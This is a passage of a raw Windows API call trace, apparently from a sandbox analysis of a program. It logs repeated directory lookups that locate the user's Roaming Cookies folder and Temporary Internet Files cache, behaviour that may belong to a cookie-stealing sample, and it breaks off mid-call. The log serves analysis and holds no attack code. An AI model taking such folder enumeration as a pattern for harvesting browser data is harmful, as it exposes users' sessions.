lpFileName="c:\\Users\\5p5NrGJn0jS HALPmcxz\\appdata", lpFindFileData=0x28f5b0 | out: lpFindFileData=0x28f5b0*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28cff640, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xe9bbeade, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppData", cAlternateFileName="")) returned 0x7596d0 [0117.966] FindNextFileW (in: hFindFile=0x7596d0, lpFindFileData=0x28f5b0 | out: lpFindFileData=0x28f5b0*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28cff640, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xe9bbeade, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppData", cAlternateFileName="")) returned 0 [0117.966] GetLastError () returned 0x12 [0117.966] FindClose (in: hFindFile=0x7596d0 | out: hFindFile=0x7596d0) returned 1 [0117.966] SysReAllocStringLen (in: pbstr=0x28f578*="c:\\Users\\5p5NrGJn0jS HALPmcxz\\", psz="c:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData", len=0x25 | out: pbstr=0x28f578*="c:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData") returned 1 [0117.966] SysReAllocStringLen (in: pbstr=0x28f874*="c:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData", psz="c:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\", len=0x26 | out: pbstr=0x28f874*="c:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\") returned 1 [0117.967] SysReAllocStringLen (in: pbstr=0x28f584*="appdata", psz="roaming", len=0x7 | out: pbstr=0x28f584*="roaming") returned 1 [0117.967] FindFirstFileW (in: lpFileName="c:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\roaming", lpFindFileData=0x28f5b0 | out: lpFindFileData=0x28f5b0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xa1ada4f0, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0xa1ada4f0, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Roaming", cAlternateFileName="")) returned 0x75c278 [0117.967] FindNextFileW (in: hFindFile=0x75c278, lpFindFileData=0x28f5b0 | out: lpFindFileData=0x28f5b0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xa1ada4f0, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0xa1ada4f0, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Roaming", cAlternateFileName="")) returned 0 [0117.967] GetLastError () returned 0x12 [0117.967] FindClose (in: hFindFile=0x75c278 | out: hFindFile=0x75c278) returned 1 [0117.967] SysReAllocStringLen (in: pbstr=0x28f578*="c:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\", psz="c:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming", len=0x2d | out: pbstr=0x28f578*="c:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming") returned 1 [0117.967] SysReAllocStringLen (in: pbstr=0x28f874*="c:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming", psz="c:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\", len=0x2e | out: pbstr=0x28f874*="c:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\") returned 1 [0117.967] SysReAllocStringLen (in: pbstr=0x28f584*="roaming", psz="microsoft", len=0x9 | out: pbstr=0x28f584*="microsoft") returned 1 [0117.967] FindFirstFileW (in: lpFileName="c:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\microsoft", lpFindFileData=0x28f5b0 | out: lpFindFileData=0x28f5b0*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x8d940a0, ftLastAccessTime.dwHighDateTime=0x1d305fe, ftLastWriteTime.dwLowDateTime=0x8d940a0, ftLastWriteTime.dwHighDateTime=0x1d305fe, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft", cAlternateFileName="MICROS~1")) returned 0x75c278 [0117.967] FindNextFileW (in: hFindFile=0x75c278, lpFindFileData=0x28f5b0 | out: lpFindFileData=0x28f5b0*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x8d940a0, ftLastAccessTime.dwHighDateTime=0x1d305fe, ftLastWriteTime.dwLowDateTime=0x8d940a0, ftLastWriteTime.dwHighDateTime=0x1d305fe, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft", cAlternateFileName="MICROS~1")) returned 0 [0117.967] GetLastError () returned 0x12 [0117.967] FindClose (in: hFindFile=0x75c278 | out: hFindFile=0x75c278) returned 1 [0117.967] SysReAllocStringLen (in: pbstr=0x28f578*="c:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\", psz="c:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft", len=0x37 | out: pbstr=0x28f578*="c:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft") returned 1 [0117.968] SysReAllocStringLen (in: pbstr=0x28f874*="c:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft", psz="c:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\", len=0x38 | out: pbstr=0x28f874*="c:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\") returned 1 [0117.968] SysReAllocStringLen (in: pbstr=0x28f584*="microsoft", psz="windows", len=0x7 | out: pbstr=0x28f584*="windows") returned 1 [0117.968] FindFirstFileW (in: lpFileName="c:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\windows", lpFindFileData=0x28f5b0 | out: lpFindFileData=0x28f5b0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28cff640, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf96b9c4c, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows", cAlternateFileName="")) returned 0x75bb70 [0117.968] FindNextFileW (in: hFindFile=0x75bb70, lpFindFileData=0x28f5b0 | out: lpFindFileData=0x28f5b0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28cff640, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf96b9c4c, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows", cAlternateFileName="")) returned 0 [0117.968] GetLastError () returned 0x12 [0117.968] FindClose (in: hFindFile=0x75bb70 | out: hFindFile=0x75bb70) returned 1 [0117.968] SysReAllocStringLen (in: pbstr=0x28f578*="c:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\", psz="c:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows", len=0x3f | out: pbstr=0x28f578*="c:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows") returned 1 [0117.968] SysReAllocStringLen (in: pbstr=0x28f874*="c:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows", psz="c:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\", len=0x40 | out: pbstr=0x28f874*="c:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\") returned 1 [0117.968] SysReAllocStringLen (in: pbstr=0x28f584*="windows", psz="cookies", len=0x7 | out: pbstr=0x28f584*="cookies") returned 1 [0117.968] FindFirstFileW (in: lpFileName="c:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\cookies", lpFindFileData=0x28f5b0 | out: lpFindFileData=0x28f5b0*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2c7870d0, ftLastAccessTime.dwHighDateTime=0x1d35d06, ftLastWriteTime.dwLowDateTime=0x2c7870d0, ftLastWriteTime.dwHighDateTime=0x1d35d06, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Cookies", cAlternateFileName="")) returned 0x75bb70 [0117.968] FindNextFileW (in: hFindFile=0x75bb70, lpFindFileData=0x28f5b0 | out: lpFindFileData=0x28f5b0*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2c7870d0, ftLastAccessTime.dwHighDateTime=0x1d35d06, ftLastWriteTime.dwLowDateTime=0x2c7870d0, ftLastWriteTime.dwHighDateTime=0x1d35d06, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Cookies", cAlternateFileName="")) returned 0 [0117.968] GetLastError () returned 0x12 [0117.968] FindClose (in: hFindFile=0x75bb70 | out: hFindFile=0x75bb70) returned 1 [0117.968] SysReAllocStringLen (in: pbstr=0x28f578*="c:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\", psz="c:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies", len=0x47 | out: pbstr=0x28f578*="c:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies") returned 1 [0117.969] SysReAllocStringLen (in: pbstr=0x28f874*="c:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies", psz="c:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\", len=0x48 | out: pbstr=0x28f874*="c:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\") returned 1 [0117.969] SysReAllocStringLen (in: pbstr=0x28f574*=0x0, psz="c:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\", len=0x48 | out: pbstr=0x28f574*="c:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\") returned 1 [0117.969] SysReAllocStringLen (in: pbstr=0x28f874*="c:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\", psz="c:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies", len=0x47 | out: pbstr=0x28f874*="c:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies") returned 1 [0117.969] SysReAllocStringLen (in: pbstr=0x28f878*=0x0, psz="c:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies", len=0x47 | out: pbstr=0x28f878*="c:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies") returned 1 [0117.969] SysReAllocStringLen (in: pbstr=0x460618*=0x0, psz="c:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\", len=0x48 | out: pbstr=0x460618*="c:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\") returned 1 [0117.970] SHGetFolderPathW (in: hwnd=0x0, csidl=32, hToken=0x0, dwFlags=0x0, pszPath=0x460630 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files") returned 0x0 [0117.971] CharLowerBuffW (in: lpsz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files", cchLength=0x56 | out: lpsz="c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files") returned 0x56 [0117.971] SysReAllocStringLen (in: pbstr=0x470638*=0x0, psz="c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files", len=0x56 | out: pbstr=0x470638*="c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files") returned 1 [0117.971] SysReAllocStringLen (in: pbstr=0x47063c*=0x0, psz="c:", len=0x2 | out: pbstr=0x47063c*="c:") returned 1 [0117.971] SysReAllocStringLen (in: pbstr=0x47065c*=0x0, psz="users", len=0x5 | out: pbstr=0x47065c*="users") returned 1 [0117.971] SysReAllocStringLen (in: pbstr=0x47067c*=0x0, psz="5p5nrgjn0js halpmcxz", len=0x14 | out: pbstr=0x47067c*="5p5nrgjn0js halpmcxz") returned 1 [0117.971] SysReAllocStringLen (in: pbstr=0x470688*=0x0, psz="appdata", len=0x7 | out: pbstr=0x470688*="appdata") returned 1 [0117.972] SysReAllocStringLen (in: pbstr=0x470694*=0x0, psz="local", len=0x5 | out: pbstr=0x470694*="local") returned 1 [0117.972] SysReAllocStringLen (in: pbstr=0x4706a0*=0x0, psz="microsoft", len=0x9 | out: pbstr=0x4706a0*="microsoft") returned 1 [0117.972] SysReAllocStringLen (in: pbstr=0x4706d0*=0x0, psz="windows", len=0x7 | out: pbstr=0x4706d0*="windows") returned 1 [0117.972] SysReAllocStringLen (in: pbstr=0x4706dc*=0x0, psz="temporary internet files", len=0x18 | out: pbstr=0x4706dc*="temporary internet files") returned 1 [0117.973] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="users", cchWideChar=5, lpMultiByteStr=0x28e4f8, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="userså(", lpUsedDefaultChar=0x0) returned 5 [0117.973] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="5p5nrgjn0js halpmcxz", cchWideChar=20, lpMultiByteStr=0x28e4f8, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="5p5nrgjn0js halpmcxz", lpUsedDefaultChar=0x0) returned 20 [0117.973] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="appdata", cchWideChar=7, lpMultiByteStr=0x28e4f8, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appdatan0js halpmcxz", lpUsedDefaultChar=0x0) returned 7 [0117.973] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="local", cchWideChar=5, lpMultiByteStr=0x28e4f8, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="localtan0js halpmcxz", lpUsedDefaultChar=0x0) returned 5 [0117.973] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="microsoft", cchWideChar=9, lpMultiByteStr=0x28e4f8, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="microsoftjs halpmcxz", lpUsedDefaultChar=0x0) returned 9 [0117.973] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="windows", cchWideChar=7, lpMultiByteStr=0x28e4f8, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="windowsftjs halpmcxz", lpUsedDefaultChar=0x0) returned 7 [0117.973] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="temporary internet files", cchWideChar=24, lpMultiByteStr=0x28e4f8, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="temporary internet files4õ(", lpUsedDefaultChar=0x0) returned 24 [0117.973] SysReAllocStringLen (in: pbstr=0x28f58c*=0x0, psz="c:", len=0x2 | out: pbstr=0x28f58c*="c:") returned 1 [0117.973] SysReAllocStringLen (in: pbstr=0x28f868*=0x0, psz="c:\\", len=0x3 | out: pbstr=0x28f868*="c:\\") returned 1 [0117.973] SysReAllocStringLen (in: pbstr=0x28f584*=0x0, psz="users", len=0x5 | out: pbstr=0x28f584*="users") returned 1 [0117.973] FindFirstFileW (in: lpFileName="c:\\users", lpFindFileData=0x28f5b0 | out: lpFindFileData=0x28f5b0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x28c670c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x28c670c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Users", cAlternateFileName="")) returned 0x75c220 [0117.974] FindNextFileW (in: hFindFile=0x75c220, lpFindFileData=0x28f5b0 | out: lpFindFileData=0x28f5b0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x28c670c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x28c670c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Users", cAlternateFileName="")) returned 0 [0117.974] GetLastError () returned 0x12 [0117.974] FindClose (in: hFindFile=0x75c220 | out: hFindFile=0x75c220) returned 1 [0117.974] SysReAllocStringLen (in: pbstr=0x28f578*=0x0, psz="c:\\Users", len=0x8 | out: pbstr=0x28f578*="c:\\Users") returned 1 [0117.974] SysReAllocStringLen (in: pbstr=0x28f868*="c:\\Users", psz="c:\\Users\\", len=0x9 | out: pbstr=0x28f868*="c:\\Users\\") returned 1 [0117.974] SysReAllocStringLen (in: pbstr=0x28f584*="users", psz="5p5nrgjn0js halpmcxz", len=0x14 | out: pbstr=0x28f584*="5p5nrgjn0js halpmcxz") returned 1 [0117.974] FindFirstFileW (in: lpFileName="c:\\Users\\5p5nrgjn0js halpmcxz", lpFindFileData=0x28f5b0 | out: lpFindFileData=0x28f5b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28c670c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2914fe20, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2914fe20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="5p5NrGJn0jS HALPmcxz", cAlternateFileName="5P5NRG~1")) returned 0x75c220 [0117.974] FindNextFileW (in: hFindFile=0x75c220, lpFindFileData=0x28f5b0 | out: lpFindFileData=0x28f5b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28c670c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2914fe20, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2914fe20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="5p5NrGJn0jS HALPmcxz", cAlternateFileName="5P5NRG~1")) returned 0 [0117.974] GetLastError () returned 0x12 [0117.974] FindClose (in: hFindFile=0x75c220 | out: hFindFile=0x75c220) returned 1 [0117.974] SysReAllocStringLen (in: pbstr=0x28f578*="c:\\Users\\", psz="c:\\Users\\5p5NrGJn0jS HALPmcxz", len=0x1d | out: pbstr=0x28f578*="c:\\Users\\5p5NrGJn0jS HALPmcxz") returned 1 [0117.974] SysReAllocStringLen (in: pbstr=0x28f868*="c:\\Users\\5p5NrGJn0jS HALPmcxz", psz="c:\\Users\\5p5NrGJn0jS HALPmcxz\\", len=0x1e | out: pbstr=0x28f868*="c:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned 1 [0117.974] SysReAllocStringLen (in: pbstr=0x28f584*="5p5nrgjn0js halpmcxz", psz="appdata", len=0x7 | out: pbstr=0x28f584*="appdata") returned 1 [0117.975] FindFirstFileW (in: lpFileName="c:\\Users\\5p5NrGJn0jS HALPmcxz\\appdata", lpFindFileData=0x28f5b0 | out: lpFindFileData=0x28f5b0*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28cff640, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xe9bbeade, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppData", cAlternateFileName="")) returned 0x75c278 [0117.975] FindNextFileW (in: hFindFile=0x75c278, lpFindFileData=0x28f5b0 | out: lpFindFileData=0x28f5b0*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28cff640, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xe9bbeade, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppData", cAlternateFileName="")) returned 0 [0117.975] GetLastError () returned 0x12 [0117.975] FindClose (in: hFindFile=0x75c278 | out: hFindFile=0x75c278) returned 1 [0117.975] SysReAllocStringLen (in: pbstr=0x28f578*="c:\\Users\\5p5NrGJn0jS HALPmcxz\\", psz="c:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData", len=0x25 | out: pbstr=0x28f578*="c:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData") returned 1 [0117.975] FindFirstFileW (in: lpFileName="c:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\local", lpFindFileData=0x28f5b0 | out: lpFindFileData=0x28f5b0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xb264df80, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb264df80, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Local", cAlternateFileName="")) returned 0x75bfc0 [0117.975] FindNextFileW (in: hFindFile=0x75bfc0, lpFindFileData=0x28f5b0 | out: lpFindFileData=0x28f5b0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xb264df80, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb264df80, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Local", cAlternateFileName="")) returned 0 [0117.975] GetLastError () returned 0x12 [0117.975] FindClose (in: hFindFile=0x75bfc0 | out: hFindFile=0x75bfc0) returned 1 [0117.975] FindFirstFileW (in: lpFileName="c:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\microsoft", lpFindFileData=0x28f5b0 | out: lpFindFileData=0x28f5b0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x962f4540, ftLastAccessTime.dwHighDateTime=0x1d305ee, ftLastWriteTime.dwLowDateTime=0x962f4540, ftLastWriteTime.dwHighDateTime=0x1d305ee, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft", cAlternateFileName="MICROS~1")) returned 0x75be28 [0117.975] FindNextFileW (in: hFindFile=0x75be28, lpFindFileData=0x28f5b0 | out: lpFindFileData=0x28f5b0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x962f4540, ftLastAccessTime.dwHighDateTime=0x1d305ee, ftLastWriteTime.dwLowDateTime=0x962f4540, ftLastWriteTime.dwHighDateTime=0x1d305ee, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft", cAlternateFileName="MICROS~1")) returned 0 [0117.976] GetLastError () returned 0x12 [0117.976] FindClose (in: hFindFile=0x75be28 | out: hFindFile=0x75be28) returned 1 [0117.976] FindFirstFileW (in: lpFileName="c:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\windows", lpFindFileData=0x28f5b0 | out: lpFindFileData=0x28f5b0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xd8d1fc80, ftLastAccessTime.dwHighDateTime=0x1d3373f, ftLastWriteTime.dwLowDateTime=0xd8d1fc80, ftLastWriteTime.dwHighDateTime=0x1d3373f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows", cAlternateFileName="")) returned 0x75c3f8 [0117.976] FindNextFileW (in: hFindFile=0x75c3f8, lpFindFileData=0x28f5b0 | out: lpFindFileData=0x28f5b0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xd8d1fc80, ftLastAccessTime.dwHighDateTime=0x1d3373f, ftLastWriteTime.dwLowDateTime=0xd8d1fc80, ftLastWriteTime.dwHighDateTime=0x1d3373f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows", cAlternateFileName="")) returned 0 [0117.976] GetLastError () returned 0x12 [0117.976] FindClose (in: hFindFile=0x75c3f8 | out: hFindFile=0x75c3f8) returned 1 [0117.976] FindFirstFileW (in: lpFileName="c:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\temporary internet files", lpFindFileData=0x28f5b0 | out: lpFindFileData=0x28f5b0*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xe7138400, ftLastAccessTime.dwHighDateTime=0x1d2e625, ftLastWriteTime.dwLowDateTime=0xe7138400, ftLastWriteTime.dwHighDateTime=0x1d2e625, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Temporary Internet Files", cAlternateFileName="TEMPOR~1")) returned 0x75c3f8 [0117.977] FindNextFileW (in: hFindFile=0x75c3f8, lpFindFileData=0x28f5b0 | out: lpFindFileData=0x28f5b0*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xe7138400, ftLastAccessTime.dwHighDateTime=0x1d2e625, ftLastWriteTime.dwLowDateTime=0xe7138400, ftLastWriteTime.dwHighDateTime=0x1d2e625, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Temporary Internet Files", cAlternateFileName="TEMPOR~1")) returned 0 [0117.977] GetLastError () returned 0x12 [0117.977] FindClose (in: 